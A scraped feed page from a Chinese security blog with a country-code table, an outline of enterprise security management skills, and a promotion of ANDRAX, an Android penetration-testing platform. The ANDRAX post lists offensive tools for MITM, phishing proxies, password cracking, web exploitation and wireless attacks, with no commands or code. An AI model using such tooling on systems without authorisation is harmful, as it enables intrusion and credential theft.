BJ	贝宁	Benin
BL	巴勒斯坦	Palestine
BM	百慕大群岛	Bermuda Is.
BN	文莱	Brunei
BO	玻利维亚	Bolivia
BR	巴西	Brazil
BS	巴哈马	Bahamas
BW	博茨瓦纳	Botswana
BY	白俄罗斯	Belarus
BZ	伯利兹	Belize
CA	加拿大	Canada
CF	中非共和国	Central African Republic
CG	刚果	Congo
CH	瑞士	Switzerland
CK	库克群岛	Cook Is.
CL	智利	Chile
CM	喀麦隆	Cameroon
CN	中国	China
CO	哥伦比亚	Colombia
CR	哥斯达黎加	Costa Rica
CS	捷克	Czech
CU	古巴	Cuba
CY	塞浦路斯	Cyprus
CZ	捷克	Czech Republic
DE	德国	Germany
DJ	吉布提	Djibouti
DK	丹麦	Denmark
DO	多米尼加共和国	Dominica Rep.
DZ	阿尔及利亚	Algeria
EC	厄瓜多尔	Ecuador
EE	爱沙尼亚	Estonia
EG	埃及	Egypt
ES	西班牙	Spain
ET	埃塞俄比亚	Ethiopia
FI	芬兰	Finland
FJ	斐济	Fiji
FR	法国	France
GA	加蓬	Gabon
GB	英国	United Kiongdom
GD	格林纳达	Grenada
GE	格鲁吉亚	Georgia
GF	法属圭亚那	French Guiana
GH	加纳	Ghana
GI	直布罗陀	Gibraltar
GM	冈比亚	Gambia
GN	几内亚	Guinea
GR	希腊	Greece
GT	危地马拉	Guatemala
GU	关岛	Guam
GY	圭亚那	Guyana
HK	香港特别行政区	Hongkong
HN	洪都拉斯	Honduras
HT	海地	Haiti
HU	匈牙利	Hungary
ID	印度尼西亚	Indonesia
IE	爱尔兰	Ireland
IL	以色列	Israel
IN	印度	India
IQ	伊拉克	Iraq
IR	伊朗	Iran
IS	冰岛	Iceland
IT	意大利	Italy
JM	牙买加	Jamaica
JO	约旦	Jordan
JP	日本	Japan
KE	肯尼亚	Kenya
KG	吉尔吉斯坦	Kyrgyzstan
KH	柬埔寨	Kampuchea (Cambodia )
KP	朝鲜	North Korea
KR	韩国	Korea
KT	科特迪瓦共和国	Republic of Ivory Coast
KW	科威特	Kuwait
KZ	哈萨克斯坦	Kazakstan
LA	老挝	Laos
LB	黎巴嫩	Lebanon
LC	圣卢西亚	St.Lucia
LI	列支敦士登	Liechtenstein
LK	斯里兰卡	Sri Lanka
LR	利比里亚	Liberia
LS	莱索托	Lesotho
LT	立陶宛	Lithuania
LU	卢森堡	Luxembourg
LV	拉脱维亚	Latvia
LY	利比亚	Libya
MA	摩洛哥	Morocco
MC	摩纳哥	Monaco
MD	摩尔多瓦	Moldova, Republic of
MG	马达加斯加	Madagascar
ML	马里	Mali
MM	缅甸	Burma
MN	蒙古	Mongolia
MO	澳门	Macao
MS	蒙特塞拉特岛	Montserrat Is
MT	马耳他	Malta
MU	毛里求斯	Mauritius
MV	马尔代夫	Maldives
MW	马拉维	Malawi
MX	墨西哥	Mexico
MY	马来西亚	Malaysia
MZ	莫桑比克	Mozambique
NA	纳米比亚	Namibia
NE	尼日尔	Niger
NG	尼日利亚	Nigeria
NI	尼加拉瓜	Nicaragua
NL	荷兰	Netherlands
NO	挪威	Norway
NP	尼泊尔	Nepal
NR	瑙鲁	Nauru
NZ	新西兰	New Zealand
OM	阿曼	Oman
PA	巴拿马	Panama
PE	秘鲁	Peru
PF	法属玻利尼西亚	French Polynesia
PG	巴布亚新几内亚	Papua New Cuinea
PH	菲律宾	Philippines
PK	巴基斯坦	Pakistan
PL	波兰	Poland
PR	波多黎各	Puerto Rico
PT	葡萄牙	Portugal
PY	巴拉圭	Paraguay
QA	卡塔尔	Qatar
RO	罗马尼亚	Romania
RU	俄罗斯	Russia
SA	沙特阿拉伯	Saudi Arabia
SB	所罗门群岛	Solomon Is
SC	塞舌尔	Seychelles
SD	苏丹	Sudan
SE	瑞典	Sweden
SG	新加坡	Singapore
SI	斯洛文尼亚	Slovenia
SK	斯洛伐克	Slovakia
SL	塞拉利昂	Sierra Leone
SM	圣马力诺	San Marino
SN	塞内加尔	Senegal
SO	索马里	Somali
SR	苏里南	Suriname
ST	圣多美和普林西比	Sao Tome and Principe
SV	萨尔瓦多	EI Salvador
SY	叙利亚	Syria
SZ	斯威士兰	Swaziland
TD	乍得	Chad
TG	多哥	Togo
TH	泰国	Thailand
TJ	塔吉克斯坦	Tajikstan
TM	土库曼斯坦	Turkmenistan
TN	突尼斯	Tunisia
TO	汤加	Tonga
TR	土耳其	Turkey
TT	特立尼达和多巴哥	Trinidad and Tobago
TW	台湾省	Taiwan
TZ	坦桑尼亚	Tanzania
UA	乌克兰	Ukraine
UG	乌干达	Uganda
US	美国	United States of America
UY	乌拉圭	Uruguay
UZ	乌兹别克斯坦	Uzbekistan
VC	圣文森特岛	Saint Vincent
VE	委内瑞拉	Venezuela
VN	越南	Vietnam
YE	也门	Yemen
YU	南斯拉夫	Yugoslavia
ZA	南非	South Africa
ZM	赞比亚	Zambia
ZR	扎伊尔	Zaire
ZW	津巴布韦	Zimbabwe

from

The post 国际域名缩写 国家代码 地区中英文对照表 appeared first on 🔰雨苁ℒ🔰.

企业安全建设技能树 v1.0 安全域隔离 安全应急

$
0
0

企业安全建设技能树 387个暗网网址

企业安全建设技能树

对于攻击者来说,只要能够找到企业系统的一个弱点,就可以达到入侵系统的目的 对于企业信息安全人员来说,必须找到系统的所有弱点,不能有遗漏,不能有滞后,才能保证系统不会出现问题

1.说明

  • 关于企业安全建设实践,关注企业安全最后一公里的问题 
  • 安全有效性和最佳实践,从解决实际问题出发 
  • 有关企业安全建设技能树任何疑问和沟通,请添加文末我的微信
  • 2.安全观
    • 安全本质
      • 互联网本来是安全的,自从有了研究安全的人,就变得不安全了 
      • 计算机用0和1定义整个世界,而企业的信息安全目标是解决0和1之间的广大灰度数据,运用各种措施,将灰度数据识别为0(不值得信任),或1(值得信任) 
      • 信任是信息安全问题的本源,不同的信任假设决定了安全方案的复杂程度和实施成本 
      • 安全需要找到某个自己可以接受的“信任点”,取得成本和效益的平衡 
    • 安全原则
      • 持续改进
        • 安全防御技术本身并没有革命性的变化 
        • 持续改进,PDCA的循环,螺旋式上升,是信息安全的第一个原则 
      • 纵深防御
        • 从网络层、虚拟层、系统层、应用层,到数据层、用户层、业务层、总控层,进行层层防御,共同组成整个防御体系,是信息安全的第二个原则 
      • 非对称
        • 对于攻击者来说,只要能够找到企业系统的一个弱点,就可以达到入侵系统的目的 
        • 对于企业信息安全人员来说,必须找到系统的所有弱点,不能有遗漏,不能有滞后,才能保证系统不会出现问题 
        • 破坏比建设要容易 
        • 安全防护人员需要非对称思维,如:蜜网站、蜜域名、蜜数据库、蜜表、蜜字段、蜜数据、蜜文件 
        • 认识到非对称,并找到解决非对称问题的方法,这是信息安全的第三个原则。 
    • 安全观安全
      • 对于信息安全人员来说,最重要的是“安全世界观”的建立,即解决安全问题的思路,以及看待安全问题的角度和高度 
      • 我的安全观:信息安全就是博弈和对抗,是一场人与人之间的战争。交战双方所争夺的是对信息资产的控制权,谁能够在博弈和对抗中,牢牢地把控住各类信息资产的控制权,谁就取得了胜利 
    • 正确处理几个关系
      • 管理与技术
        • 安全政策和流程如果没有技术和自动化手段保障,无法有效落地 
        • 脱离安全技术考虑的安全政策和流程也有可能失效
          • 例如管理10台和10000台服务器,用同样的安全政策和流程肯定是行不通的 
        • 没有管理的辅助,可能会变成“为了技术而技术”的“自嗨”
          • 企业安全建设中,技术很多时候不是困难,至少不是最重要的点 
          • 技术人员能跳出技术思维,站在更高层面去思考安全问题解决方案,安全人员的境界就提高了好几层 
      • 业务与安全
        • 本质上,安全是一项服务
          • 如果安全方案和安全要求设计时没有最大化这种服务的价值,那么在充分竞争的情况下,安全团队也是要被市场淘汰的 
          • 安全方案和要求,能够在少降低甚至不降低业务发展的情况下还能保障安全,业务团队和开发运维当然是欢迎的,毕竟谁愿意冒着巨大的风险强行上线新的业务 
        • 坚持安全服务的做法,会让安全团队之路走的更为顺畅 
      • 甲方与乙方
        • 甲方
          • 应对自己承担的职责负责 
          • 不管用什么方法方案,结果是必须搞定安全问题 
          • 识别什么是能搞定的方案和哪些是方案中靠谱一员的乙方 
        • 乙方
          • 对自己的承诺负责 
          • 合同落地才是刚刚开始,解决甲方问题 
  • 3.安全治理
    • 安全战略
      • 战略一致性
        • 信息安全战略应与公司战略、IT战略保持一致 
        • 信息安全应服务于公司战略、IT战略 
        • 信息安全战略目标来源于公司战略和IT战略的目标分解 
      • 建设与公司业务规模、IT规模相匹配的安全水平 
      • 安全是生产力和核心竞争力 
    • 安全组织架构
      • 公司级信息安全委员会 
      • 部门级信息安全团队 
      • 业务部门信息安全专员 
      • 安全职责
        • 信息安全委员会负总责 
        • 信息安全团队负责具体落实执行,并对结果负责 
        • 各业务部门负责本部门信息安全责任,并对本部门结果负责 
    • 业务赋能
      • 了解业务
        • 业务模式是什么 
        • 业务盈利模式 
        • 业务核心流程 
        • 业务架构 
        • 支撑性的业务流程和职能 
        • 业务职责分工 
        • 关键业务人员和业务团队 
        • 核心业务能力 
        • 核心业务系统 
        • 技术团队关键人员 
      • 业务对信息安全团队有信心和信任 
      • 业务与信息安全团队相互背书 
      • 安全为业务服务
        • 减少资损(创收) 
        • 降低系统性能压力(降本) 
        • 智能预警威胁感知(提效) 
        • 同人模型降低安全交付认证复杂度(提升用户体验) 
        • 安全应急和危机公关(保持和提升品牌公信力) 
        • 积累风险库和模型反驱动业务规则优化(反欺诈、降低坏账等) 
    • 风险管理
      • 管理原则
        • 事前预防为主 
        • 全面性 
        • 成本效益 
      • 风险偏好与容忍度 
      • 组织架构和职责
        • 董事会 
        • 一道防线:信息科技部门 
        • 二道防线:风险管理部门 
        • 三道防线:稽核审计部门 
      • 管理领域
        • IT治理 
        • 信息安全 
        • 信息系统开发、测试和维护 
        • 信息科技运行 
        • 业务连续性管理 
        • 外包管理 
        • 内部审计 
        • 外部审计 
      • 管理手段和流程
        • 操作风险管理三大工具
          • RCSA(Risk Control Self-Assessment,风险与控制自我评估) 
          • LDC(Loss Data Collection,损失数据收集) 
          • KRI(key risk indicators,信息科技关键风险指标) 
        • 管理流程
          • 风险识别 
          • 风险分析与评估 
          • 风险控制 
          • 风险监测 
          • 风险报告 
      • 报告机制
        • 逐级上报 
        • IT业务条线、风险管理条线、审计条线各自汇报 
      • 监控指标 
      • 监督检查 
      • 制度和公文管理 
      • 业务连续性管理 
      • 分支机构管理 
    • 安全规划
      • 几个因素
        • 凡事预则立,不预则废 
        • 看起来高大上,实际实施又接地气 
        • 企业战略规划、IT战略规划、信息安全三年规划、XX年工作计划,是自上而下、一脉相承的 
        • 时间因素、监管要求、企业风险偏好、IT战略目标、技术发展、资源约束、安全价值体现 
      • 规划框架
        • 概述 
        • 安全目标 
        • 现状和差距分析 
        • 解决方案和计划 
        • 当年重点项目和重点任务 
        • 上一版安全规划目标差距分析 
      • 制定步骤
        • 调研
          • 三个问题(难回答版)
            • 未来三年,本团队要做的最牛的三件事 
            • 未来三年,你认为世界最好的团队会做哪三件最牛的事(我们不做的原因) 
            • 未来三年想做但没敢写入规划的三件事;本团队领域,很有价值但技术没有可能实现的事情 
          • 三个问题(简答版)
            • 这个领域最好的团队做什么(最佳实践) 
            • 我们在同业处于什么水平(自我感知) 
            • 我们的现状(存在哪些差距) 
          • 实地调研
            • 向大型互联网企业学习
              • 拥有一定的安全圈人脉资源也是企业安全负责人的必备要求之一 
              • 多参加这些互联网企业举行的年度会议 
            • 向同业学习
              • 向规模比自己大的企业学实践中遇到过的问题 
              • 向规模差不多的企业学习了解资源配置情况 
              • 向规模比自己小的企业学习单点突破能力强的领域 
        • 确定规划目标、现状和差距
          • 总体目标,应尽可能清晰、简洁
            • 通过综合应用各类安全解决方案,发现并预防各类安全风险 
            • 能够承受除DDOS以外的黑客高手或者黑客集团的攻击 
            • 内部系统能有效防止非专业人员有意或者无意的数据泄露 
            • 能发现对内部重要服务器的普通内部黑客的攻击 
            • 对人员进行安全合规教育、违规、违纪现象持续降低,安全审计发现持续降低 
          • 具体目标,应尽可能明确、数字化
            • 非本企业组织的互联网系统漏洞发现为0 
            • 安全防护100%全覆盖 
            • 互联网基础设施风险在2小时内化解 
            • 自动化验证平台100%覆盖所有管控措施 
            • 管控措施失效能够在24小时内发现 
          • 注意事项
            • 目标绝对不合理 
            • 实现目标的行动必须合理 
          • 建议
            • 目标一定是从上往下走 
            • 目标必须是个人的目标 
            • 每一个人承接的不是目标,而是一套解决方案 
          • SMART原则
            • Specific 
            • Measurable 
            • Attainable 
            • Relevant 
            • Time-bound 
        • 制定解决方案
          • 体系化 
          • 可持续 
          • 可接受 
        • 迭代修改 
        • 向上层汇报 
        • 回顾
          • 一个看似一般但严格执行的规划,远胜于一个看似很好却无法或未能执行的规划 
          • 安全规划目标分解落实到安全重点项目和工作任务 
          • 重点项目和工作任务分解落实到安全团队每位员工的年度绩效考核 
          • 每季度开展一次重点项目和工作任务的回顾 
          • 每半年开展一次安全团队员工绩效的回顾 
          • 回顾后需要制定针对性的改进措施 
          • 方向可以大致正确,组织必须充满活力 
    • 安全体系 
    • 安全度量
      • 一项工作不能测量衡量,就很难提高 
      • 技术维度
        • 防病毒安装率、正常率,安全事件响应时长、处理时长,高危预警漏洞排查所需时间和完全修复时间 
        • 安全运维平台可用性、事件收敛率 
        • 合规性方面可以设置合规率、不合规项数量、内外部审计发现数量和严重度等 
      • 安全运营成效
        • 覆盖率、检出率、攻防对抗成功率。有多少业务和系统处于安全保护之下,有多少无人问津的灰色地带,安全能在企业内部推动的多深入,多快速 
        • 检出率和攻防对抗成功率都是衡量安全有效性的重要指标,安全不能靠运气和概率活着 
      • 安全满意度和安全价值
        • 安全对业务支撑的能力,TCO、ROI,安全用多少资源,支撑了多少业务 
        • 内部的影响力以及对业务的影响力 
  • 4.通用技能
    • 安全推动
      • 如果资源是无限的,每个人完成了配合工作,都可以发一枚钻石,那这个就简单了,可惜资源是有限的 
      • 考核和晋升是组织活力、推动工作的重要手段
        • 分赃要分好,还要及时分 
      • 免费的胡萝卜
        • 表扬 
        • 排名 
        • 通报 
        • 扣分 
        • 给荣誉奖项 
      • 人怕见面,树怕剥皮,为了推动工作,达到想要的目标,找到关键干系人。一次不行两次,两次不行再来,多去找几次,见面谈,成功概率很大 
    • 安全考核
      • 考核评价体系与原则
        • 几点原则
          • 赛马胜相马,让员工在实际的工作岗位中竞争,选出最终脱颖而出的人才 
          • KPI的考核成绩是德、能、勤的函数在概率分布下的结果 
          • 长短期利益相结合
            • 现金收入是短期利益,是个人价值贡献回馈体系的一部分 
            • 承担重要领域、重要任务的机会,让员工实现的个人价值提升,属于长期利益 
            • 只有日常工作的辛勤积累,才能造就每年的丰硕果实,体验奋斗带来的丰收喜悦 
          • 企业应该将部门利益和个人利益挂钩
            • 如果部门因为某个员工的努力获取了利益,就应该以某种形式反馈为员工利益 
            • 如果因某个团队的努力使部门获取了利益,也应该以某种形式反馈给团队,再由团队以公平的形式反馈给员工 
        • 评价员工的要素(德能勤绩)
          • 德代表思想品行
            • 这活给钱我干,不给钱我也干 
          • 能代表能力
            • 别人不行,我行 
          • 勤代表工作表现
            • 别人休息了,我拼搏 
          • 绩代表绩效
            • 白猫黑猫,抓了老鼠 
        • 奖惩机制
          • 奖励与惩罚并重 
          • 物质奖惩与精神奖惩相结合
            • 充分利用好人的趋利主义动机和精神主义作用 
        • 人才选拔机制
          • 择优
            • 择优包括品德、绩效、能力、贡献、合作、责任 
          • 奋斗
            • 奋斗包括额外工作时间的投入 
          • 企业应当创造多种机会以便于人才的脱颖而出
            • 虚拟条线 
            • 轮岗锻炼 
            • 跨界学习 
        • 管理者的权利和义务
          • 管理者负有帮助下属员工成长的责任 
          • 下属优秀员工的数量和质量是管理者绩效的重要指标 
      • 考核对象
        • 团队
          • 总部IT部门
            • 总部IT部门安全团队 
            • 总部IT部门非安全团队 
          • 总部非IT部门
            • 业务部门 
            • 职能部门 
          • 分支机构IT部门(或有)
            • 分支机构IT部门安全团队(或有) 
            • 分支机构IT部门非安全团队(或有) 
          • 分支机构非IT部门
            • 业务部门 
            • 职能部门 
        • 个人
          • 总部
            • 公司安全负责人 
            • 总部IT部门负责人 
            • 总部IT部门安全团队负责人 
          • 分支机构
            • 分支机构IT部门负责人(或有) 
            • 分支机构IT部门安全团队负责人(或有) 
          • 公司员工 
        • 团队考核指标
          • 安全事件数 
          • 合规率 
          • 安全建设项目完成率 
          • 扣分项 
          • IT部门内其他团队对自己的安全结果负责,安全团队对整个部门的安全结果负责 
        • 个人考核
          • 结果第一,过程也是为结果服务,能力必须通过结果体现 
          • 职责和职级匹配,薪酬高的员工,就应承担同等薪酬的职责和绩效考核 
          • 建设性、事务性工作结合,工作和学习结合,多维度考核 
      • 考核方案
        • 考核内容 
        • 考核周期 
        • 考核权重 
        • 考核分数 
        • 考核注意事项
          • 防止恶性竞争 
          • 大小团队规模不均带来的公平性问题 
          • 防止秋后算账 
          • 5%实现100%的效果 
          • 正向还是负向激励 
          • 没有唯一标准答案,在于实践 
          • 内部问责 
    • 安全汇报
      • 安全汇报是管理好你的上级非常非常非常重要的一环 
      • 理论上汇报层级越高,越能拿到“令牌”,管理权限越大,推动一些基础安全措施时会更顺利一些 
      • 汇报对象
        • 监管层 
        • 公司经营管理层 
        • 跨业务和IT的跨部门 
        • IT部门和总经理 
        • 安全团队内部 
      • 汇报形式
        • 正式会议 
        • 正式报告 
        • 正式流程阅签 
        • 邮件和非正式汇报(电话、微信,吃饭和路边交流) 
      • 汇报载体
        • PPT 
        • Word 
        • 邮件、短信、微信等一切可以传递交流信息的载体工具 
      • 汇报目标
        • 进展和问题报告(沟通信息、取得理解) 
        • 结果和成果(讲成绩也讲问题) 
        • 要资源和支持 
        • 推动工作(表扬先进督促后进) 
    • 安全团队管理
      • 在企业不同阶段,会采取不同的安全团队建设策略 
      • 文化建设
        • 格局为先 
        • 认同价值 
        • 专业自信 
        • 处处用心 
        • 养成习惯 
        • 培养洁癖 
      • 意识建设
        • 客户意识 
        • 责任意识 
        • 风险意识 
        • 创新意识 
        • 学习意识 
        • 沟通意识 
      • 能力建设
        • 团队成员有能力离开,团队成员不愿意离开 
        • 细分团队职能
          • 安全管理
            • 监管要求和行业组织标准
              • 国家法律法规
                • 中华人民共和国网络安全法 
                • 商用密码管理条例 
              • 国外法律法规
                • GDPR 
                • 反洗钱 
              • 监管机构
                • 中国人民银行 
                • 银保监会
                  • 商业银行数据中心监管指引 
                  • 商业银行信息科技风险管理指引 
                  • 商业银行业务连续性监管指引 
                  • 银行业金融机构重要信息系统投产及变更管理办法 
                  • 银行业金融机构信息科技外包风险监管指引 
                • 证监会
                  • 证券期货经营机构信息技术治理工作指引(试行) 
                  • 证券期货业信息安全事件报告与调查处理办法 
                  • 证券期货业信息安全保障管理办法 
                  • 证券期货业信息系统审计规范 
                • 公安部 
              • 行业组织
                • 物理安全相关的GB 50174-2017 《数据中心设计规范》 
                • 数据安全相关的GB/T 35273-2017《信息安全技术 个人信息安全规范》 
                • 等级保护相关的GB/T 22239—2008《信息安全技术信息系统安全等级保护基本要求》 
                • JR/T 0068—2012 《网上银行系统信息安全通用规范》 
                • JR/T 0071—2012《金融行业信息系统信息安全等级保护实施指引》 
              • 最佳实践
                • ISO27001 
                • Cobit 
                • COSO 
                • ISO20000 
            • 企业已有制度和流程
              • 企业级制度 
              • 其他部门相关制度 
              • 信息科技部门相关制度 
            • 监管要求符合性分析和排查技能 
            • 安全检查技能 
            • 安全风险监测技能 
            • 应对内外部审计和检查的技能 
          • 安全技术
            • 参见专业技能 
      • 建设路径 
      • 与其他团队关系处理 
    • 安全人员招聘
      • 招聘原则
        • 小胜在智,大胜在德 
        • 价值观一致 
        • 用人所长 
        • 中低阶考察做过什么,高阶考察过往经历是否成功 
      • 招聘渠道
        • 熟人口碑,成功概率更大 
        • 猎头 
        • 各大媒体
          • freebuf 
          • 安全牛 
          • secwiki 
          • 安在 
          • 安全大V公众号、知乎 
    • 厂商管理
      • 建立软件厂商安全标准并监督落实 
      • 对软件厂商交付的代码进行黑盒检测,有条件的白盒检测 
      • 发现未满足安全要求的进行整改,并追究内部人员(安全测试和开发人员)责任 
      • 安全要求写入合同,反复违反的进行高层约谈和行业通告,特别难推动的及时向监管层报告 
    • 产品选型
      • 自己的需求和想解决的问题放首要考虑因素,对产品功能的预期一定要克制 
      • Gartner魔力象限 
      • 用过的同业的评价 
      • 细致测试 
    • 安全知识更新
      • 首选纸质书、首选纸质书、首选纸质书 
      • 安全会议 
      • 网站、论坛、手机app 
      • 打造自己的知识管理体系
        • 每天半小时深度阅读 
        • 每天半小时速览各类安全新闻、热点安全事件 
        • 保持一定频度自己动手练习,保持基本奔跑能力 
        • 注意积累安全素材,进印象笔记(有道云等等) 
    • 安全认证
      • 认证分类
        • Hacking & Pen Testing certifications 
        • Computer Forensics certifications 
        • Management/Others certifications 
        • Auditing Certifications 
        • Web Applications Security certifications 
        • Vendor’s certifications 
      • 认证机构
        • (ISC)² 
        • CompTIA 
        • Offensive Security 
        • ISACA 
        • GIAC 
        • Mile2 
        • EC-Council 
        • EITCI 
      • 十大热门认证
        • CISSP 
        • CISA 
        • CISM 
        • GSEC 
        • CRISC 
        • CEH 
        • ECSA 
        • GPEN 
        • CompTIA Security+ 
        • SSCP 
    • 安全价值展现 
    • 安全意识与培训
      • 培训对象
        • 企业高管
          • 了解金融企业信息安全战略方向 
          • 信息安全相关法律法规 
          • 主要的信息科技监管要求和监管趋势 
          • 金融科技时代下信息安全新形势和管理新特点 
          • 信息安全组织架构 
          • 金融企业信息安全的特性 
          • 主要的风险事件案例 
          • “大数据时代下的个人隐私保护”“大数据时代下的个人隐私保护”等 
        • 中层管理者
          • 信息安全基本概念 
          • 信息安全相关法律法规 
          • 信息科技监管要求及趋势 
          • 信息安全管理体系 
          • 主要的风险事件案例 
          • 业界最新风险防控思路及措施等方面 
          • 理解什么是信息安全,为什么要重视信息安全,本人管辖领域内哪些工作会涉及信息安全,以及怎样做好信息安全风险防控 
        • 所有部门基层员工
          • 信息安全相关的制度和流程的具体内容 
          • 信息安全行为相关的法律法规 
          • 敏感信息保护要求 
          • 敏感信息泄露行为导致的不良后果和真实案例 
          • 违规处罚措施 
          • 基本的信息安全操作技能和防护手段等方面 
          • 帮助基层员工树立信息安全保护的理念,提高合规操作、风险防范的意识,掌握具体的信息安全风险防控技能,降低员工工作疏忽、操作不规范或有意泄露造成的威胁 
        • 信息科技员工
          • 开发测试人员,应侧重于企业信息安全政策和制度、监管和行业组织发布的应用安全相关技术规范、安全要求,代码审计相关知识,以及系统和应用安全常见漏洞的原理 
          • 运维人员,应侧重于企业信息安全政策和制度、监管和行业组织的信息系统运维相关技术规范、机房安全、网络安全、主机及系统安全、终端安全、信息安全技术工具、故障应急、业务连续性等 
        • 外包人员
          • 金融企业外包制度和流程的具体内容 
          • 金融企业信息的分类和信息安全保护具体要求 
          • 与信息安全行为相关的法律法规、泄密行为导致的不良后果和真实案例等方面 
        • 外部用户
          • 具体的案例说明、主要的诈骗手段拆解、简明扼要的信息安全宣传标语等 
      • 培训形式
        • 现场培训 
        • Elearning在线培训 
        • 内外部信息安全专栏 
        • 以赛代训 
        • 实战演练 
        • 信息安全活动宣传周、宣传月 
        • 无处不在的安全宣传
          • 宣传动画、海报、易拉宝、屏保、邮件、安全知识笔记本 
        • 定期发送风险提示 
        • 信息安全智能机器人系统 
        • 外部提供的信息安全培训组合服务 
      • 培训时机
        • 全员每年例行做 
        • 员工入职马上做 
        • 高危人士时常做 
        • 专业人士专场做 
        • 特殊事件重点做 
      • 培训矩阵
        • 培训对象 
        • 培训内容 
    • 安全审计 企业安全建设技能树
      • 审计其他方
        • 审计准备
          • 审计目标 
          • 审计对象、重点 
          • 审计范围 
          • 审计计划 
          • 审计工具 
        • 审计执行
          • (也可以不通知,如飞行审计、抽查突击类审计) 
          • 审计手段
            • 安全评估 
            • 审计特有的工具与方法
              • 抽样数据测试 
              • 穿行测试 
              • 监督环境下的流程重放 
          • 沟通审计结果 
          • 审计结果跟踪
            • 结果复测 
            • 验证审计与后续优化效果 
      • 迎接审计
        • 审计准备
          • 针对审计提纲准备 
          • 被审计人员安排 
          • 先行内审一次 
        • 审计执行
          • 按需提供 
          • 不清楚不乱答 
          • 边审边改 
          • 不害怕暴露问题 
        • 审计沟通
          • 不卑不亢,论事实和依据 
          • 积极沟通,反馈支持性材料 
          • 审计问题描述和定性要慎重 
          • 问题当事方要确认,双方领导要确认 
        • 问题整改
          • 内部分工,制定措施和计划,落实责任到人 
          • 定期跟踪和反馈 
          • 因故无法整改,应说明情况,取得支持或理解 
          • 举一反三,以查促改 
    • 安全总结
      • 总结内容
        • 内外部监管任务落实情况 
        • 全年安全事件和安全指标完成情况 
        • 安全管理体系建设 
    • 安全预算和费用
      • 安全预算比例 
      • 预算分配(三三三原则)
        • 1/3投入到外部情报收集 
        • 1/3投入到安全感知系统建设 
        • 1/3投入到防御系统的建设 
      • ROI和TCO
        • 财务收益 
        • 非财务收益 
    • 公共关系管理
      • 监管机构 
      • 风险合规部门 
      • 业务部门 
      • 同业 
      • 安全同行 
      • 向互联网公司学习 
    • 软性技能
      • 时间管理 
      • 沟通管理 
      • 团队协作 
      • 冲突管理 
      • 激励 
    • Office能力
      • Word 
      • Excel 
      • PPT 
      • yEd 
      • Visio 
      • FreeMind 
    • 自我管理
      • 职业规划 
      • 安全从业者的未来 
  • 5.专业技能
    • 应用安全
      • 安全开发生命周期管理SDL 
      • 代码审计 
      • 黑盒测试 
      • Web安全 
      • App安全 
      • 安全资产管理 
      • 漏洞管理
        • 漏洞扫描工具 
        • 漏洞生命周期管理 
        • 漏洞管理工具 
    • 内网安全
      • 安全域隔离 
      • 邮件安全 
      • 身份认证 
      • 安全热点问题解决方案
        • 勒索软件 
    • 数据安全
      • 客户资料保护 
      • 终端数据安全 
      • 数据泄密溯源 
    • 业务安全与风控
      • DDOS 
      • 反作弊、薅羊毛、刷单刷劵、黑名单黑设备、封号、反外挂等 
      • 业务风控
        • 由于业务本身的活动与环境造成的各种风险的应对与管控 
    • 安全运营 企业安全建设技能树
      • 安全防护框架 
      • 安全运维框架
        • 威胁情报 
      • 安全验证框架 
      • 安全度量框架 
      • 安全大数据平台 
      • SRC 
      • 安全应急 
    • 新环境下的安全
      • 新技术应用可能会颠覆安全原有的体系、框架与技术 
      • 云计算运用下端管云安全 
      • IoT设备的系统与硬件级安全 
      • 工业控制系统安全 
    • 内控合规
      • 外包管理 
      • 安全合规 
    • 应急响应
      • 事件分类
        • 针对互联网应用的攻击事件 
        • 针对企业内网的攻击事件 
        • 来自内部的信息泄露事件 
      • PRCERF模型
        • 准备 
        • 检测 
        • 抵制 
        • 根除 
        • 恢复 
        • 跟踪 
      • 技术准备
        • Windows通用工具包 
        • Linux通用工具包 
        • Web应用专用工具包 
        • 平台建设
          • 第三方文件分析平台
            • ~ VirusTotal,https://www.virustotal.com 
            • ~ 微步在线,https://x.threatbook.cn 
            • ~ 腾讯哈勃系统,https://habo.qq.com 
            • ~ 金山的火眼,https://fireeye.ijinshan.com 
        • 人员技能 企业安全建设技能树
          • 实际的应急响应过程中,一个熟悉企业现有整体安全管控手段又适当懂点业务或应用系统的安全人员,再结合安全攻防对抗经验,往往能在事件的应急响应,事中的及时止血、事后的溯源及现有安全管控手段的查漏补缺方面,都能发挥出很大的作用 
  • 6.优质资源
      • 白帽子讲Web安全 
      • Web前端黑客技术揭秘 
      • 互联网企业安全高级指南 
      • 企业安全建设指南:金融行业安全架构与技术实践(11月底上市发售) 
      • 刑法 
      • 网络安全法 
      • 原则 
    • 站点
      • 知乎 
      • Secwiki 
      • 看雪学院 
      • Freebuf 
      • i春秋 
      • 安在 
      • 安全客 
      •  
    • RSS订阅 
    • 安全平台 
    • 安全会议 企业安全建设技能树
      • Qcon大会安全分论坛 
      • ISC互联网大会 
      • 各大甲方公司安全峰会
        • 唯品会安全峰会 
        • 腾讯TSRC年度会议 
        • 京东安全峰会 
        • 西安CSS峰会 
        • 补天白帽大会 
      • 行业会议
        • 银行业信息安全会议 
        • 证券行业协会信息安全会议 
      • 金融企业安全建设群线下闭门会议(北京站、上海站、深圳站) 
    • 知识管理 企业安全建设技能树
      • 你们知道,而我们做到了 
      • 快速阅读、深度阅读、实践 
      • 工具
        • 印象笔记 
        • 微信收藏分类 from

The post 企业安全建设技能树 v1.0 安全域隔离 安全应急 appeared first on 🔰雨苁ℒ🔰.


andrax pentest 高级专业黑客安卓渗透测试工具

$
0
0

andrax pentest 高级专业黑客安卓渗透测试工具

andrax

试了下还是很不错的,andrax是一款专为Android智能手机设计的渗透测试平台,而kali linux的NetHunter只是一款Debian模拟运行工具一句话:andrax比nethunter只强不弱

安装条件:root(SuperSU/magisk)、4GB空间、Android 5.0以上版本、内核解锁(LineageOS

主页:http://andrax-pentest.org

Github开源地址:ANDRAX-Mobile-Pentest

下面是一些我的andrax运行截图:测试用的是www.ddosi.com

下载地址

功能如下

信息收集

Whois

BindDNS工具

Dnsrecon

Raccoon

DNSCracker

Firewalk

网络扫描

Nmap - 网络映射工具

Masscan

SSLScan

Amap

数据包制作

Hping3

Nping

Scapy

Hexinject

Ncat

Socat

网络攻击

ARPSpoof

Bettercap

MITMProxy

EvilGINX2

网站入侵

0d1n

Wapiti3

ReconNG

PHPSploit

Photon

XSSer

Commix

SQLMap

Payloadmask

AbernathYXSS

密码破解

Hydra

Ncrack

JohnThe Ripper

CRUNCH

无线攻击

VMPEvil AP

AircrackNGTools

Cowpatty

MDK3

Reaver

漏洞利用

MetaSploitFramework

RouterSploitFramework

Getsploit

OWASPZSC

RopTOOL

等等……

 

ANDRAX Advanced Terminal
ANDRAX Advanced Terminal
ANDRAX Advanced Terminal

Dynamic Categories Overlay (DCO)

Beautiful tools category system

